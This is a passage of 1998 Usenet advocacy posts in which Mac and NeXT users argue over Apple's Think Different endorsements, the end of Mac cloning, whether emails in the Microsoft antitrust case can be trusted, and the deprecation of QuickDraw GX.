> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > And I'm also the same bozo who pointed out the obvious fact (yet again)
> > that among all of those so-called "estate endorsements" *NOT ONE* of
> > them ever said "So-and-so's estate thinks the Mac is the greatest." Not
> > one. Not a single one *DIRECTLY* endorsed either Apple or the Mac in
> > either print or television commercials.
>
> ...and the easy answer to that is "so what?"
>
> Of course, after dealing with some of Microsoft's retroactive history, I
> can see why the typical Windows user might get confused and think Ameila
> Earhart or Albert Einstein might have been computer users...
>
Actually, it seems as if it's the Apple crowd who get confused on the
subject, not me. They're the ones who think an estate's release of old
pictures to be used in an ad campaign that doesn't mention the words
"computer" or "Apple" or "Mac" is the exact same thing as a direct
endorsement of the Mac by these very same estates. Not me...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:24:49 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Sal Denaro wrote:
> > >
> > > Statements made by an official representative of a company can be assumed
> > > to be policy of that company. When Steve Jobs makes a statement, it can be
> > > inferred that said statement can from "Apple"
> >
> > Not in this case. These statements come from a subpeoned *government*
> > witness. Compaq has made no such official corporate statements.
>
> So you think a Compaq executive, when subpeonaed by the government,
> becomes a "Government Witness," with no more connection to Compaq?
>
> It must hurt your head to try and come up with some of this stuff.
>
Let's try it slow...He was being asked to testify as an *individual* as
to his *opinion* as to what *he personally thought* about certain things
he saw at Compaq. That's quite a bit different from a Press release from
Compaq, or a corporate statement from Compaq. She-e-e-esh...!
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:35:47 -0500
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"R. Tang" wrote:
>
> Because Harker is a bozo.
>
> What the estates signed are endorsements. That's what the
> advertising industry calls them. That's what the legal department calls
> 'em. Use an image in a commercial, it's an endorsement.
>
> Only Harker is too stupid to realize this.
>
> This IS a direct endorsement.
How unbelievably droll and idiotic...:) Do you realize that you have
just called Apple Computer the DUMBEST computer company earth? No? Why
is that no surprise?...sigh....
Imagine...to have all of these DIRECT ENDORSEMENTS (by the estates of
famous people) of both Apple Computer and the Mac and to NEVER, EVER use
them to DIRECTLY promote either Apple or the Mac. You've just called the
Apple marketing department the biggest bunch of moronic imbeciles ever
to advertise a computer!
And you don't even know it! Amazing...:)
(Ah, well, it's what keeps me coming back...:))
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:21:36 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Jobs turned down some very high offers from
> > the cloners before doing them in.
>
> Actually, Jobs turned down some mediocre offers from the cloners before
> realizing that they'd never pay their own way in the Mac market.
>
> A $100/machine payment is pretty thin when you compare it to a
> $300/machine profit...
>
Total crap, sorry to say...
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:20:58 -0500
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Chad Irby wrote:
>
> ...because they had the lower-priced cloners, which were supposed to be
> *expanding* Apple's market, not cannibalizing from it. It's a lot easier
> to keep prices low when your development is being done by your major
> competition for sales.
So, Apple had no responsibility for "expanding" the market? Apple had a
consistent 90%-80% of the market--all the time. Don't you think Apple
had 90%-80% of the fiscal responsibility for growing the Mac market?
Right now, Apple has 100% of the fiscal responsibility for growing the
Apple market.
This is sort of confusing for me, because in other posts you argue that
there is *no* separate "Mac market" but only one large free-for-all
"market"--the market for "personal computers." You seem to see a
separate "Mac market" clearly enough when Mac clone companies are the
subject, but when the subject of Apple's monopoly over the "Mac market"
is raised, suddenly the distinction disappears for you. You better lay
off that Steve Jobs pipe...:)
>
> Apple, by doing most of the mac development at the time, was indirectly
> funding the Mac clone companies, and when those companies returned the
> favor by *not* doing as they promised, Apple closed the door.
You don't really believe that tripe, do you? Come on...not
*really*?....:) Apple received tens of millions every quarter from the
cloners in licensing fees, hardware fees, software fees, and so on.
Didn't you know that? And at the time Jobs massacred the clone
companies, they had a *agreed* to DOUBLE their fees paid to Apple, and
more than QUADRUPLE their fees paid on laptops! It is *easy* to see
Apple raking in a cool $400 million a *year* on cloning fees which is
ample for R&D AND a healthy advertising budget aimed at legitimizing and
growing the Mac market into something much bigger than it is!
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 15:02:37 -0500
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Rob Barris wrote:
>
> No one ever demonstrated that Apple's decision about clones (note -
> *licensees*, not clean-room reverse-engineered designs) was illegal, so I'm
> not sure that they have to "get by" anything, monopoly or no monopoly. I
> personally was not a big fan of that decision and it obviously made some
> customers very upset.
>
Well, no one has demonstrated that Microsoft selling Windows was
illegal, either. Microsoft is being accused of "using its monopoly power
in one market to stifle competition." *That's* the supposed illegality.
I think it fits Apple's handling of the Mac clone companies like a
glove.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:44:45 -0500
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Chad Irby wrote:
>
> "Christopher Smith" <drsmithy@usa.net> wrote:
>
> > That's that "modern" computer/OS with no protected memory, poor
> > multitasking, no SMP and memory management even Windows *3.0* was better
> > than isn't it ?
>
> Buzzword compliance is really important to you, isn't it?
>
"Buzzword" defined:
"Foundational OS characteristics the Mac OS doesn't have. Mac
worshippers don't care that the upcoming Mac OS is slated to have all of
these "buzzwords", and that's probably because at a deep subconscious
level they really don't trust *anything* Apple says about its upcoming
OSs. So, they run the sour-grapes riot act and speak boldly of
Buzzwords. Until, that is, the day when the Mac OS actually incorporates
the Buzzwords. From that day forward, the Buzzwords become Wonderful
MacOS Features that are highly praised as though they are not Buzzwords,
but Brand-New Apple Originals."
> I suppose you think that Windows 98 has all of those things, too?
>
Why should it matter, "those things" being merely buzzwords?....:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:59:25 -0500
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Charles Swiger wrote:
>
>
> If someone were to question the validity of the email being presented, it
> would be a relatively simple matter to subpoena material like backup tapes
> and do matching between system logfiles and the individual mail headers.
> Modern mail systems do a very good job of tracking userid's, machine IP
> addresses, and so forth.
Sigh...as I have taken great pains to (again) belabor the obvious, I
guess one more time won't hurt...To identify the *machine* from which an
email is sent is nowhere near the same thing as identifying the author
of the email, unless it can be conclusively proven that only *one*
person ever had access to that particular machine.
>
> Futhermore, while the identity of the initial sender _might_ be questionable
> (*), there would be no question when these receipients start responding and a
> conversation takes place, all of which contains cross-referencable log
> entries, mail headers, citations, and the like.
That's an interesting point, here...I don't recall the DOJ having
presented *any* series of emails in context. Do you?
>
> Email is admissable evidence. I'd be very surprised if anyone tried to
> contest the validity of the email. Deal with it, or persist in fantasizing
> otherwise-- it won't make a bit of difference to the outcome....
>
>
I'd say that email is admissible so long as it is stipulated to by both
parties. I'm quite sure that if one party disputed it the situation
would not be as clear as you pretend. As it is, identifying the author
of an email, if the authorship is disputed, is nowhere near as easy to
prove or disprove as it is with a signed (or hand notated) paper
document. That's just common sense, really...
Please, answer the question: if someone sent an email from your machine,
how would you prove you didn't send it? The only ironclad proof I can
think of is that you might luck out and be able to prove you were in a
different physical location (away from your building) at the time the
email was sent from your machine. Even then, according to your vast
faith in the inerrancy of the email record, would you be believed?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 15:21:03 -0500
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Chad Irby wrote:
>
>
> And, despite myths to the contrary, a signature isn't an "absolute" gauge
> either.
>
> In the current case, however, Microsoft isn't claiming forgery of email,
> so you might as well drop this sad little line of argument.
>
The only argument I ever raised was that emails were easier to forge
than handwritten paper. And they are--much easier. Any conclusions about
MS are your own.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 15:13:21 -0500
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Rob Barris wrote:
>
> I would hope that this point about email doesn't form the basis of MS's
> defense. Surely they must have more substantial arguments ready to present.
>
> And, someone remind me, do they need "beyond reasonable doubt" or merely
> a "preponderance of evidence"?
I think Microsoft has already stipulated to the emails, so I doubt it
will be an issue. This debate began when I made the entirely rational
observation that emails, being electronic media with no individual
handwritten characteristics, might easily be forged (ie, sent from
someone's machine by someone other than the someone to whom the machine
belongs.)
>
> If copies of those outbound emails were found on backup tapes from
> Gate's personal desk computer, who's still going to believe Bill didn't
> write them? Grabbing for straws here.
"If" is the operative word, indeed. I imagine Gates is wishing he'd
scrutinized his records long ago. That's assuming, of course, he had
reason to believe those emails were in his records to begin with...:)
>
> Finally, what happens if a company does undertake real actions with real
> consequences, on the basis of a forged email? If someone forges an email
> from my boss telling me to hold up a liquor store, claiming "b-b-but the
> email was forged!" in court might not help my case after I commit the
> crime.
Right, especially if you *didn't* commit it. Scary, isn't it?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 15:17:59 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > You keep wanting to conveniently forget that neither Motorola nor Umax
> > ever sold Mac clones.
>
> You're wrong, and more to the point, you're *aggressively* wrong.
>
Talk about RDF and aggressively wrong, why did you leave out the next
lines in which I spoke of how these companies started new, spin-off
companies to make Mac clones? Which is 100% correct.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 15:14:16 -0500
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Rick wrote:
> >
> > What shocks me is why anyone would want to do business with a company
> > intent on milking old technology when there are much better alternatives
> > available.
>
> Maybe you should ask Microsoft that question.
>
Who's old hardware is Microsoft milking?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 15:15:25 -0500
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Rick wrote:
>
>
> The damage has already been done, the monpoly gained, the dependance
> established.
>
Is this a quote from a Mac user after Jobs destroyed Mac cloning?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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<365B101D.B0709B43@spamtoNull.com>
Mime-Version: 1.0
Date: Tue, 24 Nov 1998 20:54:14 GMT
In <365B101D.B0709B43@spamtoNull.com> Jonathan Harker wrote:
> Sigh...as I have taken great pains to (again) belabor the obvious, I
> guess one more time won't hurt...To identify the *machine* from which an
> email is sent is nowhere near the same thing as identifying the author
> of the email, unless it can be conclusively proven that only *one*
> person ever had access to that particular machine.
Sigh... as we have all take great pains to (again) belabour the obvious,
I guess one more time won't hurt. The validity of the email is not being
questioned. Therefore it's use as evidence is uncontested. Therefore it
is exactly as "valid" (your word) as had it been written on paper and
signed.
Period.
> I'd say that email is admissible so long as it is stipulated to by both
> parties. I'm quite sure that if one party disputed it the situation
> would not be as clear as you pretend.
Chuck is not "pretending", this is happening right now in the courts.
The courts have accepted these are "real".
Period.
> would not be as clear as you pretend. As it is, identifying the author
> of an email, if the authorship is disputed, is nowhere near as easy to
> prove or disprove as it is with a signed (or hand notated) paper
> document. That's just common sense, really...
No it's not common sense, it's ill-informed pap. The very fact that
there are experts on identifying documents, as there are experts on
identifying e-mail, means that it takes an expert to validate both and thus
it is just as "easy to prove or disprove". If it was any easier, there
wouldn't have to be experts.
I hope you have to try this line of defense some day in court. You'll be
in for a nasty surprise.
> Please, answer the question: if someone sent an email from your machine,
> how would you prove you didn't send it?
Trivial, I'd inspect the login info and compare that to the timestamp on
the mail. If I was not logged on at the time the mail was sent, this is an
excellent indication that I didn't send it.
Now a question for you. If someone broke into your office and used your
pen and copied your signature, how would you prove you didn't send it? I
think you'll find that it's MUCH harder to prove that this message is a
fake than one from a computer where there are all sorts of logs being
recorded all the time.
Once again, this is not an issue in this case, the email is being
accepted as genuine. Period.
> The only ironclad proof I can
> think of is that you might luck out and be able to prove you were in a
> different physical location (away from your building) at the time the
> email was sent from your machine. Even then, according to your vast
> faith in the inerrancy of the email record, would you be believed?
How is his "vast faith" in email any different than your vast faith in a
signature - something that is copied all the time?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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<atticus- <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu>
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<365AFA52.8E6641C8@spamtoNull.com>
Mime-Version: 1.0
Date: Tue, 24 Nov 1998 20:59:42 GMT
In <365AFA52.8E6641C8@spamtoNull.com> Jonathan Harker wrote:
> Couple of things wrong with this...although Apple did some PR (or hired
> out) "surveys" that purport to show that 30% of iMac buyers (during an
> unknown period in unknown geographical locations of unknown quantity)
> were either first-time-computer buyers or else computer buyers who
> already owned X86 systems, there is much these "surveys" did not
> mention.
Actually they did, but you'd have to bother to actually look into it to
see this. Actually you wouldn't even have to do that, as SJ specifically
mentioned the numbers in his last big speach, I suppose you didn't bother
to listen to that either.
Since that first exit-poll, there have been at least one more survey done
post-purchase, and it showed even higher percentages of owners are first
time or switching from PC's.
> First, Apple released no figures at all on the number of Apple
> "defections"--that is, Mac users migrating from the Mac or a Mac clone
> into the X86 market.
Which has absolutely no bearing on the issue. Either such migrations
take place, or they don't. Your statment here, if you care to back it up,
simply proves this point.
> for Apple, so I doubt Apple even attempts to discover those numbers. If
> Apple does have a rough idea, you can bet you'll never hear it from
> their lips...:) Second, there is no distinction made between the "first
> time buyer" category and the "X86 owner category."
Yes there is.
> disparate categories are lumped together.
No they are not.
> This leads me to believe that
> the first-time-buyer category was in fact much larger than the "X86
> owner" category.
It is now, but in the first poll they were roughly equal.
> What I was talking about were things done by Apple to lure in X86
> owners--marketing tactics specifically aimed at them, like "Bring in
> your X86 system and move up to a Mac and save $1,000" and that sort of
> thing. Ditto, I don't see Dell doing promotions like "$500 and your Mac
> drops you in the front seat of a Dell" and so forth.
I have never heard of Apple doing such a effort either.
Once again it's demonstrated that being wrong is no deterrant for Jon to
spout off his odd form of anti-Apple hatred.
Maury
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 20:47:09 GMT
Organization: University of Washington, Seattle
Message-ID: <73f60d$f74$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <cirby-2311981757030001@pm56-03.magicnet.net> <73cqbc$vla$1@nntp6.u.washington.edu> <365B0A93.29DACF66@spamtoNull.com>
NNTP-Posting-User: gwangung
In article <365B0A93.29DACF66@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>
>"R. Tang" wrote:
>
>>
>> Because Harker is a bozo.
>>
>> What the estates signed are endorsements. That's what the
>> advertising industry calls them. That's what the legal department calls
>> 'em. Use an image in a commercial, it's an endorsement.
>>
>> Only Harker is too stupid to realize this.
>>
>> This IS a direct endorsement.
>
>
>How unbelievably droll and idiotic...:) Do you realize that you have
>just called Apple Computer the DUMBEST computer company earth? No? Why
>is that no surprise?...sigh....
>
>Imagine...to have all of these DIRECT ENDORSEMENTS (by the estates of
>famous people) of both Apple Computer and the Mac and to NEVER, EVER use
>them to DIRECTLY promote either Apple or the Mac.
Think Different.
Won an Emmy and a Clio.
Sold a helluva lot of computers. A promo campaign by any
definition.
You've just called the
>Apple marketing department the biggest bunch of moronic imbeciles ever
>to advertise a computer!
Not really.
Shows what an imbecile you are, however, to say that, after
umpteen million billboards, countless minutes of TV ads and numberless
pages of magazine ads, that Apple has never used these endorsements to
promote or sell computers.
Fan of Orwell, are we?
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 21:51:26 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981650460001@pm61-15.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtonull.com> <72srb4$r16@newsb.netnews.att.com> <3659D5B8.1EF8DA12@spamtoNull.com> <cirby-2311981750580001@pm56-03.magicnet.net> <365B0740.7BB8DE48@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Total crap, sorry to say...
Well, we're used to that from you...
Give us a call when you come up with something useful or pertinent, though.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 21:53:28 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981652490001@pm61-15.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <36599F27.A6646F53@spamtoNull.com> <cirby-2311981350380001@pm53-43.magicnet.net> <365B1477.CB80FA08@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Talk about RDF and aggressively wrong, why did you leave out the next
> lines in which I spoke of how these companies started new, spin-off
> companies to make Mac clones? Which is 100% correct.
When a company starts a "new company" to do something but owns 100% of
that company, it's still the same company.
"Starting new, spin-off companies" makes no real difference whatsoever.
It was still a Motorola company selling Motorola computers and a UMAX
company selling UMAX computers.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Are JH (and MJP) paid Microsoft agents?
Date: 24 Nov 1998 13:16:54 -0500
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uww4lvtux.fsf@ai.mit.edu>
References: <73cq7e$nh2$1@coward.cc.utah.edu> <3659ED98.5CA8C667@ericsson.com>
Michael Peck <michael.peck@ericsson.com> writes:
> Michael Giddings wrote:
>
> [cut]
>
> Yes.
Cool! That's fantastic! Do you get to carry a badge as a paid
Microsoft agent? Tell us about some of your more dangerous exploits,
please!
Do you ever get to leap into a crowded room holding the badge
aloft, shouting "Microsoft! Throw down your weapons!"?
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 21:57:41 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981657010001@pm61-15.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <cirby-2311981744480001@pm56-03.magicnet.net> <365B03FD.CFCCDCEE@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > Selling iMacs. Quite nicely, to boot. Major sales gains.
>
> I'm sorry, but I haven't seen any evidence of that.
Then you're not very observant.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with QuickTime Vectors
Date: Tue, 24 Nov 1998 23:48:36 +0100
Organization: pv
Message-ID: <1dj0udm.1cbahzz1o9or7kN@[192.168.0.2]>
References: <B27A4B1E-2812E@206.165.43.102> <F2q93t.E6@T-FCN.Net> <nagleF2qDEL.8sw@netcom.com> <F2qp1K.9r3@T-FCN.Net> <B27B314A-2E4F7@206.165.43.155> <F2qt7y.C0D@T-FCN.Net> <B27BA479-E551@206.165.43.60> <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca> <B27F4F2C-66F7E@206.165.43.34> <none-ya02408000R2411980848240001@nntp.news.netcom.net> <B28042FE-4D4CC@206.165.43.203>
User-Agent: MacSOUP/2.4b4
Lawson English <english@primenet.com> wrote:
> if Apple weren't killing GX with the next release of the OS, would
> developers be willing to use it? Why or why not?
I would probably take a longer look at GX now if I knew it would stay
with us than I did then.
I can tell you why I was hesitant towards GX. It was the volume of the
documentation. Too many words. Either the writers were completely
incompetent and lacked the ability to describe the concepts in GX in a
concise and clear way and compensated that with increased volume of
words *or* GX is/was too much - lack of focus, inability to set limits
which is bad design. From what I heard (I never found the strength to
read it all) GX was capable, so perhaps the tech writers were
incompetent. This high volume of words seems the trend these days. A
thin book (1 cm) is hard to find nowadays. They're more like two bricks
on top of each other. Often with less actual content than the old 1 cm
book... I prefer to read one paragraph and ask "what did he say?" to
read a chapter and ask "did he say anything?". Less volume to re-read.
BTW the "new" IM (the one that cam after system 7) illustrates the same
thing. I preferred the old IM I-VII. Though the last one was starting to
get too fat. In fact, this very post is an illustration to what I'm
talking about ;-) The second sentence of this paragraph really says it
all.
- lars
--
Lars Farm; lars.farm@ite.mh.se - Limt: lars.farm@limt.se
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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<365B1361.8C0135F3@spamtoNull.com>
Mime-Version: 1.0
Date: Tue, 24 Nov 1998 22:21:30 GMT
In <365B1361.8C0135F3@spamtoNull.com> Jonathan Harker wrote:
> I think Microsoft has already stipulated to the emails, so I doubt it
> will be an issue.
FINALLY. Sheesh.
> This debate began when I made the entirely rational
Har, sorry Jon, but you're way down my list of people to ask about
definitions of "rational".
For everyone else reading this thread, the debate began when Jon stated
something to the effect of "you'd have to be a moron to believe e-mail
evidence because it's so easy to fake" - a claim he's been using up until
this message. I then pointed out that this makes no difference, the e-mail
in question HAS been entered into evidence and thus the ability to judge it
real is no longer an issue. Then he said "you're wrong" and it went
downhill for a week.
> Right, especially if you *didn't* commit it. Scary, isn't it?
Indeed, as is any other form of faked evidence, or evidence that was
obtained illegally. Guess what, innocent people go to jail all the time.
Luckily it's not as often as guilty people going to jail.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: Limeyville@spamtoNull.com
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
<atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com>
<364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com>
<364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu>
<364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net>
<365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net>
<36599B34.A05CFC80@spamtoNull.com> <cirby-2311981353060001@pm53-43.magicnet.net>
<365B152F.8C4474C2@spamtoNull.com>
Mime-Version: 1.0
Date: Tue, 24 Nov 1998 22:29:53 GMT
In <365B152F.8C4474C2@spamtoNull.com> Jonathan Harker wrote:
> > And, despite myths to the contrary, a signature isn't an "absolute"
> gauge
> > either.
Indeed, legally a seal is still much more "authentic" than a signature,
at least up here. This is because the law was written at a time when
making metal parts was hard and all anyone could sign was "x". The times
may have changed somewhat, but an X is still legally binding as far as I
know.
> The only argument I ever raised was that emails were easier to forge
> than handwritten paper. And they are--much easier.
No they are not. To fake a normal message from me one has to only get a
pen and paper, copy my signature and grammatic style, then drop it in any
post box near my house or work. Precautions like using gloves and not
licking the stamp or flap on the enveloup would help, getting paper I've
touched for fingerprints would help and could be done as easily as handing
me something to hold on the subway or the pub.
On the other hand to fake my e-mail, someone would have to get onto this
computer. This would be VERY difficult. For one they would have to get
past the security guard if they come in at night, and sign in (and the
guard remotely operates the elevator, the only way to get to this office).
If they come in during the day there's already someone in the office, so
doing this would be too difficult. After that they would have to break
into the office, get past the security system, get to this machine, log in
as me by somehow getting my password, and then send the mail. The problem
is that there's a catch-22. Since a log of the e-mail will be kept they
will also have to do this while I'm in the office, and I sign in and out
too. So in other words this person would have to wait unnoticed on this
floor, which is tough because we're the only office, then sneek in when
*everyone* is out of it. This is MUCH MUCH harder than faking my
handwriting.
You have provided no evidence to date demonstrating this case, and here I
demonstrate the opposite. You've provided only supposition and what if.
Do you have any case law to show us?
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 24 Nov 98 16:03:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2808972-1F1A8@206.165.43.9>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Here's what I said in reply to your question, BTW. I didn't explicitly say
"use GX at your own risk" but I DID mention "enhanced QuickDraw" in the
same reply as the alternative.
In other words, for pre-8.6, you could use GX. For post-8.6, you could use
Carbon and in neither case would you be needing to worry about the specific
QuickDraw limitation that was bothering you.
I'm sorry if I didn't make the implication clear to you.
Darrin Cardani <none@nospam.spam> said:
>I have a project in which our customer discovered that opening really
large
>files (greater than 16384 pixels wide) causes some problems. The problem,
>of course, is that a GWorld can't be any bigger than that.
>
QuickDraw GX can handle bitmaps up to 32K pixels wide & high. You can also
declare a read-only bitmap to be disk-based, which means that GX takes care
of spooling issues for you. I don't know what the bitmap limits and
capabilities of Enhanced QuickDraw are.
Darrin Cardani <none@nospam.spam> said:
>Lawson,
> This is a problem you have brought upon yourself. People won't defend
>you, even when you're right, because you're a jerk. You can't seem to get
>it through your thick skull that, although you like some of the
>technologies Apple is killing, Apple has decided to kill them, and the
rest
>of us are getting on with our lives.
> I posted a question the other day, asking about the proper use of the
>StdBits call. I just wanted to know what preconditions were necessary to
>get a picture to display properly using it. You answered my question by
>saying, "Quickdraw GX will do what you want". That did not answer my
>question. Then in a different post on a different thread you said that you
>were aware Apple would no longer be supporting GX as of System 8.6, due
>out
>in January. So essentially you suggested I use a technique that will work
>for exactly 1.5 months.
> Why would anyone want to defend someone who acts like that? If I was a
>newbie, I might have taken your advice only to find out that it was
>incredibly short sighted advice a month or two later. All I can say is
>welcome to my kill file.
>
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 24 Nov 98 16:16:03 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2808C4D-29D53@206.165.43.9>
References: <1dj0udm.1cbahzz1o9or7kN@[192.168.0.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "Lars Farm" <lars.farm@ite.mh.se>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Very good points. One of the questions that I hear on the QD3D mailing list
is "where's the AppleScript API for it?"
That's what I'm prototyping with GXFCN. Once I get it working in HyperCard,
I'll transfer it to an OSAX. Then I'll tackle QD3D, which will likely be
both easier and harder. Easier because the API isn't quite as huge and
harder because it isn't as easy to handle 3D objects via scripting (or so
my initial reading of the QD3D manual suggests). However, since the overall
concept of QD3D is based on GX (retained mode designed by many of the same
people), I think that it is doable.
THe point being that for both GX *and* QD3D, a scripting interface will
make the API *much* easier to learn, AND technically-oriented end-users who
